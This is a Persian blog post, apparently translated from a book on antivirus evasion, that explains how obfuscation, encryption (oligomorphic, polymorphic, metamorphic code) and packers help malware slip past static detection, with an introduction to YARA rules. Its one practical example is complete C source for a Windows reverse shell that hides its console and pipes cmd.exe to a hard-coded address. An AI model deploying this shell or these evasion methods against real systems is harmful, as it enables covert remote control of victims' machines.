ویرگول
ورودثبت نام
سید عمید قائم مقامی
سید عمید قائم مقامیبرنامه نویسی سیستم ویندوز و مهندسی معکوس و علاقه مند به آموزش.
سید عمید قائم مقامی
سید عمید قائم مقامی
خواندن ۱۳ دقیقه·۲ روز پیش

آنتی ویروس قسمت پنجم:

دور زدن موتور استاتیک

در این فصل، به طور عملی به دور زدن موتورهای تشخیص استاتیک آنتی ویروس خواهیم پرداخت. ما استفاده از تکنیک های مختلف مبهم سازی را یاد خواهیم گرفت که می توانند برای دور زدن موتورهای آنتی ویروس ساکن به طور بالقوه مورد استفاده قرار گیرند. علاوه بر این، ما به درک استفاده از تکنیک های رمزگذاری مختلف مانند کدهای مبتنی بر الیگومورفیک، چند شکلی و دگرگونی خواهیم پرداخت که می توانند برای دور زدن موتورهای آنتی ویروس استاتیک به طور بالقوه مورد استفاده قرار گیرند. همچنین نشان خواهیم داد که چگونه تکنیک های بسته بندی و مبهم سازی در کدهای مخرب برای دور زدن بیشتر موتورهای استاتیک در نرم افزار آنتی ویروس استفاده می شود.

در این فصل به بررسی موضوعات زیر می پردازیم:

• دور زدن آنتی ویروس با استفاده از مبهم سازی

• دور زدن آنتی ویروس با استفاده از رمزگذاری

• دور زدن آنتی ویروس با استفاده از بسته بندی

الزامات فنی

برای دنبال کردن موضوعات فصل به موارد زیر نیاز دارید:

. سابقه کار در نرم افزار آنتی ویروس

. درک اولیه از تشخیص فایل های اجرایی قابل حمل مخرب (PE).

. درک اولیه زبان های برنامه نویسی C/C++ یا Python

. دانش اولیه زبان اسمبلی x86

. خوب است: تجربه استفاده از دیباگر و جداکنندههایی مانند Interactive Disassembler Pro (IDA Pro) و x64dbg

دور زدن آنتیویروس با استفاده از مبهمسازی

مبهمسازی یک تکنیک ساده برای تغییر شکل کد، مانند کد منبع یا بایتکد، است تا خوانایی آن کاهش یابد. برای مثال، یک فایل Android Package Kit (APK) را میتوان بهراحتی دیکامپایل کرد تا به کد Java قابلخواندن تبدیل شود.

در اینجا یک نمونه از فرآیند دیکامپایل نشان داده شده است:

یک توسعهدهنده برنامه نمیخواهد افراد غیرمجاز کد آنها را ببینند، بنابراین توسعهدهنده از تکنیک مبهمسازی برای محافظت از کد و غیرقابل خواندن آن استفاده میکند.

چندین تکنیک مبهم سازی وجود دارد. این دو تکنیک اصلی است که ما در تحقیق خود استفاده کرده ایم:

. تغییر نام مبهم

. کنترل جریان مبهم

بیایید هر دوی این تکنیک ها را با جزئیات بررسی کنیم.

تغییر نام مبهم

با این تکنیک، مبهم سازی عمدتاً روی نام متغیرهای درون کد انجام می شود. این تکنیک خواندن و درک کد و همچنین درک نام متغیرها و زمینه آنها را در خود کد دشوار می کند.

پس از مبهم سازی، نام متغیر ممکن است حروفی مانند "A"، "B"، "C" و "D"، اعداد، کاراکترهای غیرقابل چاپ و غیره باشد.

کنترل جریان مبهم

مبهم سازی جریان کنترل کد منبع اصلی را به کد پیچیده، ناخوانا و نامشخص تبدیل می کند. به عبارت دیگر، مبهم سازی کنترل جریان کد ساده را به کد اسپاگتی تبدیل می کند!

به عنوان مثال، در اینجا مقایسه ای بین کد قبل از مبهم سازی جریان کنترل و همان کد پس از انجام مبهم سازی جریان کنترل وجود دارد.

هنگام استفاده از یکی از این تکنیکهای مبهمسازی برای دور زدن نرمافزارهای آنتیویروس، موتوری که دور زده میشود، موتور استاتیک است.

برای درک دقیق اینکه چرا موتور استاتیک همان بخشی است که دور زده میشود، لازم است برخی از امضاهای استاتیک را بررسی کنیم.

از آنجایی که این توضیح بر امضاهای مبتنی بر YARA متمرکز خواهد بود، بهتر است ابتدا کمی با YARA آشنا شویم تا درک بهتری از امضاهای استاتیک به دست آوریم.

مقدمهای بر YARA

YARA یک ابزار متنباز و چندسکویی است که در درجهٔ اول برای کمک به پژوهشگران بدافزار طراحی شده تا نمونههای بدافزار را شناسایی و دستهبندی کنند. این ابزار یک روش مبتنی بر قانون (Rule-based) برای ایجاد توصیفهای انواع بدافزار بر اساس الگوهای متنی و باینری ارائه میدهد. امروزه YARA بهطور گسترده توسط پژوهشگران امنیتی، تحلیلگران بدافزار، محققان جرمیابی دیجیتال، تیمهای پاسخگویی به رخداد و البته توسط شرکتهای تولیدکنندهٔ آنتیویروس بهعنوان بخشی از موتورهای شناسایی آنها استفاده میشود.

در نگاه اولیه به YARA ممکن است فکر کنید که ابزاری ساده است، اما ما YARA را از آن دسته ابزارهایی میدانیم که نبوغشان در سادگیشان نهفته است. این ابزار یک «چاقوی سوئیسی» برای تطبیق الگو است که با استفاده از امضاهای ازپیشنوشتهشده—که عمدتاً توسط پژوهشگران امنیتی و تحلیلگران بدافزار ایجاد شدهاند—الگوها را در فایلها و در دامپهای متنی سادهٔ حافظه شناسایی میکند.

بیایید کمی جلوتر برویم تا درک بهتری از نحوهٔ عملکرد YARA به دست آوریم.

چگونه YARA بدافزار بالقوه را شناسایی می کند

YARA یک ابزار تطبیق الگوی مبتنی بر قانون است که اگر آن را به درستی بنویسیم، میتواند بدافزار بالقوه را شناسایی کرده و حتی آن را در مقیاس وسیعتری شکار کند. نرم افزار آنتی ویروس اغلب YARA را در موتورهای استاتیک خود، به ویژه برای تشخیص های مبتنی بر فایل، ترکیب می کند. به عنوان مثال، اگر بدافزاری مانند باجافزار WannaCry برای الگوهای مخرب و شناختهشده توسط قوانین از پیش نوشته شده YARA اسکن شود، میتوان آن را به طور بالقوه شناسایی کرد و آنتی ویروس از اجرای آن در سیستم مورد نظر جلوگیری میکند.

YARA - بلوک های ساختمانی

قوانین YARA با کلمه rule شروع می شود و به دنبال آن نام قانون می آید. به طور کلی، نام قوانین توصیفی است و بر اساس نوع بدافزار و سایر پارامترها است.

در مرحله بعد، بدنه قوانین با براکت های فرفری (پرانتز) قبل و دنبال می شود، همانطور که در قاعده زیر مشاهده می شود. بخش پرانتزی قوانین YARA شامل دو بخش فرعی مهم است: رشته ها و شرط.

بخش رشته ها شامل الگوها، رشته ها، مقادیر هگزادسیمال (هگز) و کد عملیاتی (opcode) است که می خواهیم در فایل های مخرب شناسایی کنیم. بخش شرط یک بخش منطقی است که شرایطی را تعریف می کند که تحت آن قانون یک الگو را در یک فایل شناسایی یا مطابقت می دهد و نتیجه واقعی را ارائه می دهد.

بخش متا، که در بالای بخشهای دیگر ظاهر میشود، اختیاری است و برای توصیف قوانین نوشته شده و توضیح هدف آنها استفاده میشود.

مثال شبه زیر به شما کمک می کند تا هر یک از این بخش ها را درک کنید:

این مثال شامل عناصر زیر است که آن را به یک قانون اساسی و صحیح YARA تبدیل می کند:

1. نام قانون با استفاده از کلمه rule تعریف می شود.

2. ما از بخش met a برای توصیف هدف این قانون استفاده کرده ایم.

3. بخش رشته ها سه متغیر را تعریف می کند که هر کدام یک الگوی بالقوه برای مطابقت و شناسایی در فایل های مخرب احتمالی ارائه می کنند. (توجه داشته باشید که ما از کلمه کلیدی nocase در متغیر $a2 استفاده کردهایم تا YARA با الگوی رشته مطابقت داشته باشد.

4. بخش شرط، شرایطی را تعریف می کند که برای مخرب در نظر گرفتن یک فایل باید رعایت شوند.

نکتهٔ مهم

برای نوشتن یک امضای YARA خوب، بسیار مهم است که چندین نمونه (Variant) از بدافزاری را که قصد شناسایی و شکار آن را دارید بررسی کنید. همچنین ضروری است که قانون YARA را آزمایش کرده و مطمئن شوید که هیچگونه مثبت کاذب (برای مثال، تشخیص اشتباه) ایجاد نمیکند.

اکنون که با مبانی YARA آشنا شدیم، میتوانیم به بررسی نحوهٔ استفادهٔ آن در دنیای واقعی بپردازیم.

نمونهٔ امضای YARA – باجافزار Locky

در این مثال، خواهیم دید که چگونه یک امضای YARA میتواند باجافزار Locky را شناسایی کند. قطعهکد زیر یک امضای YARA را نشان میدهد که برای شناسایی فایل اجرایی (EXE) مربوط به Locky نوشتهایم:

این قانون YARA با استفاده از هدر پایهٔ Disk Operating System (DOS) و تمام رشتههای استفادهشده در بخش strings، باجافزار Locky را شناسایی میکند.

برای بررسی اینکه آیا این امضا واقعاً با فایل باجافزار Locky تطابق دارد و آن را شناسایی میکند یا نه، باید دستور زیر را اجرا کنیم:

دور زدن موتور استاتیک – مثال عملی

مثال زیر استفاده از کدی نسبتاً ساده را نشان میدهد که یک شل معکوس مبتنی بر پروتکل کنترل انتقال (TCP) را به یک شنوندهٔ Netcat، بر اساس یک آدرس پروتکل اینترنت (IP) و پورت از پیش تعریفشده، باز میکند

#include <winsock2.h> #include <windows.h> #include <ws2tcpip.h> #pragma comment(lib, "Ws2_32.lib") #define DEFAULT_BUFLEN 1024 void ExecuteShell(char* C2Server, int C2Port) { while (true) { SOCKET mySocket; sockaddr_in addr; WSADATA version; WSAStartup(MAKEWORD(2, 2), &version); mySocket = WSASocket( AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, (unsigned int)NULL, (unsigned int)NULL ); addr.sin_family = AF_INET; addr.sin_addr.s_addr = inet_addr(C2Server); addr.sin_port = htons(C2Port); if (WSAConnect( mySocket, (SOCKADDR*)&addr, sizeof(addr), NULL, NULL, NULL, NULL ) == SOCKET_ERROR) { closesocket(mySocket); WSACleanup(); continue; } else { char RecvData[DEFAULT_BUFLEN]; memset(RecvData, 0, sizeof(RecvData)); int RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } else { STARTUPINFO sinfo; PROCESS_INFORMATION pinfo; memset(&sinfo, 0, sizeof(sinfo)); sinfo.cb = sizeof(sinfo); sinfo.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW; sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE)mySocket; char Process[] = "cmd.exe"; CreateProcess( NULL, Process, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo ); WaitForSingleObject(pinfo.hProcess, INFINITE); CloseHandle(pinfo.hProcess); CloseHandle(pinfo.hThread); memset(RecvData, 0, sizeof(RecvData)); RecvCode = recv(mySocket, RecvData, DEFAULT_BUFLEN, 0); if (RecvCode <= 0) { closesocket(mySocket); WSACleanup(); continue; } if (strcmp(RecvData, "exit\n") == 0) { exit(0); } } } } } int main(int argc, char** argv) { FreeConsole(); if (argc == 3) { int port = atoi(argv[2]); ExecuteShell(argv[1], port); } else { char host[] = "192.168.1.10"; int port = 443; ExecuteShell(host, port); } return 0; }

این کد سه عملکرد دارد: main () که محل شروع برنامه است، FreeConsole () که فرآیند فراخوانی را از کنسول خود جدا می کند و ExecuteShell () که پوسته معکوس را اجرا می کند.

دور زدن آنتی ویروس با استفاده از رمزگذاری

رمزگذاری کد یکی از رایج ترین راه ها برای موفقیت با دور زدن و یکی از کارآمدترین روش ها برای پنهان کردن کد منبع است.

با استفاده از رمزگذاری، عملکرد مخرب بدافزار به عنوان یک کد بی ضرر ظاهر می شود و گاهی اوقات کاملاً بی ربط به نظر می رسد، به این معنی که نرم افزار آنتی ویروس با آن برخورد می کند و به بدافزار اجازه می دهد تا با موفقیت بر روی سیستم اجرا شود. اما قبل از اینکه بدافزار شروع به اجرای عملکرد مخرب خود کند، باید کد خود را در حافظه زمان اجرا رمزگشایی کند. تنها پس از رمزگشایی بدافزار، کد برای شروع اقدامات مخرب خود آماده می شود.

نمودار زیر تفاوت بین یک فایل EXE با و بدون رمزگذاری را نشان می دهد:

برای استفادهٔ صحیح از تکنیکهای رمزنگاری کد، لازم است با چند زیرتکنیک پایه آشنا باشید که ما هنگام نگارش این کتاب از آنها استفاده کردهایم. این زیرتکنیکها عبارتاند از:

• کد الیگومورفیک (Oligomorphic code)

• کد پلیمورفیک (Polymorphic code)

• کد متامورفیک (Metamorphic code) — این مورد لزوماً یک تکنیک رمزنگاری کد نیست، اما برای تأکید بر تفاوتها آن را در این دسته قرار دادهایم

بیایید این سه زیرتکنیک را بیشتر بررسی کنیم.

کد الیگومورفیک

کد الیگومورفیک شامل چندین رمزگشا (Decryptor) است که بدافزار میتواند از آنها استفاده کند. هر بار که روی سیستم اجرا میشود، بهصورت تصادفی یک رمزگشای متفاوت را برای رمزگشاییِ خود انتخاب میکند؛ همانطور که در نمودار زیر نشان داده شده است:

برای سادهتر شدن توضیح، در این نمودار هفت راه برای انجام مکانیزم رمزگشایی نشان دادهایم، اما در واقعیت، بدافزار میتواند 50، 100 و حتی چند صد نوع رمزگشا داشته باشد که میتواند از آنها برای انجام رمزگشایی روی خود استفاده کند. این عدد هرگز ثابت نمیشود، اما به دلیل تعداد محدودی از رمزگشاهایی که کد الیگومورفیک استفاده میکند، هنوز امکان شناسایی با استفاده از امضاهای استاتیک وجود دارد.

کد چند شکلی

کد چند شکلی پیشرفته تر از کد الیگومورفیک است. کد Polymorphic بیشتر از یک موتور چند شکلی استفاده می کند که معمولاً دو نقش دارد. نقش اول انتخاب رمزگشا برای استفاده است و نقش دوم بارگذاری کد منبع مربوطه است تا کد رمزگذاری شده با رمزگشای انتخاب شده مطابقت داشته باشد.

تعداد رمزگشاها بسیار بیشتر از کد الیگومورفیک خواهد بود. در واقع، این تعداد میتواند به صدها هزار برسد و در موارد شدید حتی به میلیونها رمزگشای مرتبط نیز افزایش یابد، اما نتیجهٔ مخرب بدافزار همواره یکسان است.

نمونهای از این موضوع را میتوانید در نمودار زیر مشاهده کنید:

این نمودار نمونه نوع خاصی از بدافزار را نشان می دهد که دارای 15 روش مختلف برای دستیابی به یک عملکرد مخرب واحد است. می بینیم که هر بار که بدافزار اجرا می شود، موتور چند شکلی را فراخوانی می کند و رمزگشایی را انتخاب می کند که قرار است از آن برای اجرای رمزگشایی استفاده کند. بر اساس این انتخاب، کد منبع مربوطه را بارگیری می کند و سپس خود را دوباره کامپایل می کند، بنابراین از شناسایی توسط موتور ثابت نرم افزار آنتی ویروس جلوگیری می کند.

این نمودار نیز کمی با بدافزار در دنیای واقعی متفاوت است. در دنیای واقعی، بیش از 15 رمزگشا وجود دارد. در واقع، تعداد نامحدودی از روش های مختلف برای دستیابی به عملکرد مخرب آن وجود دارد.

کد دگرگونی

کد دگرگونی کدی است که هدف آن تغییر محتوای بدافزار در هر بار اجراست و در نتیجه باعث جهش خود می شود.

به عنوان مثال، این تغییر می تواند به گونه ای باشد که بدافزار شرایط و متغیرهای کاملاً بی فایده و بدون تأثیری بر عملکرد آن به خود اضافه کند، دستورالعمل های دستگاه را تغییر دهد، دستورالعمل های هیچ عملیاتی (NOP) را در مکان های مختلف به خود اضافه کند و موارد دیگر.

نمودار زیر نمونه ای از جهش بدافزار را با استفاده از کد دگرگونی نشان می دهد:

در این نمودار سه نسخه از یک کد را در زبان اسمبلی x86 مشاهده می کنیم. با هر جهش، کد متفاوت به نظر می رسد، اما نتیجه همیشه یکسان است. از آنجایی که نتیجه جهش با بدافزار اصلی یکسان است، میتوان بدافزار مبتنی بر دگرگونی را با استفاده از موتور اکتشافی شناسایی کرد.

این سه تکنیک فرعی بسیار قدرتمند هستند و می توانند به عنوان بخشی از زرادخانه تکنیک های بای پس آنتی ویروس ما استفاده شوند.

بیایید به تکنیک بعدی که در طول تحقیقات خود استفاده کردیم برویم: بسته بندی.

دور زدن آنتیویروس با استفاده از پَککردن (Packing)

پَکرها برنامههایی هستند که اغلب برای فشردهسازی کد در فایلهای باینری (عمدتاً فایلهای EXE) استفاده میشوند. اگرچه این برنامهها بهخودیِ خود مخرب نیستند و حتی میتوانند برای اهداف مفید گوناگونی به کار روند، نویسندگان بدافزار معمولاً از پَکرها برای پنهانسازی نیت کد خود استفاده میکنند؛ کاری که پژوهش بدافزار را دشوارتر کرده و بهطور بالقوه به کد آنها کمک میکند تا موتورهای استاتیک آنتیویروس را دور بزند.

این بخش از کتاب، تفاوتهای اصلی بین فایلهای اجرایی معمولی و فایلهای اجرایی پَکشده را معرفی میکند، نحوهٔ شناسایی پَکرها را بررسی میکند و توضیح میدهد چگونه میتوان آنها را خنثی کرد. محور اصلی این موضوع، درک اهمیت و نگهداری موتورهای آنپَک (Unpacking) است که توسط انواع مختلف نرمافزارهای آنتیویروس استفاده میشوند.

بسته بندی ها چگونه کار می کنند

برای توضیح نحوه کار پکرها، یک فایل ساده "Hello World.exe" را از طریق دو بسته بندی مختلف، Ultimate Packer برای فایل های اجرایی (UPX) و ASPack اجرا می کنیم که هر کدام از آنها از تکنیک بسته بندی متفاوتی استفاده می کنند.

به طور کلی، بستهکنندهها با گرفتن یک فایل EXE و مبهم کردن و فشردهسازی بخش کد (بخش متن.) با استفاده از یک الگوریتم از پیش تعریفشده کار میکنند. پس از این، بستهکنندهها منطقهای را در فایلی به نام خرد اضافه میکنند که هدف آن باز کردن بسته نرمافزار یا بدافزار در حافظه زمان اجرا سیستم عامل و انتقال اجرا به نقطه ورودی اصلی (OEP) است. OEP نقطه ورود است که در ابتدا به عنوان شروع اجرای برنامه قبل از انجام بسته بندی تعریف شده است. هدف اصلی نرمافزار آنتیویروس تشخیص نوع بستهبندی استفادهشده، باز کردن نمونه با استفاده از تکنیکهای مناسب برای هر بستهبندی با استفاده از موتور باز کردن بستهبندی آن، و سپس طبقهبندی فایل بدون بستهبندی به عنوان «مضر» یا «خوشخیم» است.

Telegram: @CaKeegan
Gmail : amidgm2020@gmail.com

آنتی ویروسویندوزwindows
۰
۰
سید عمید قائم مقامی
سید عمید قائم مقامی
برنامه نویسی سیستم ویندوز و مهندسی معکوس و علاقه مند به آموزش.
شاید از این پست‌ها خوشتان بیاید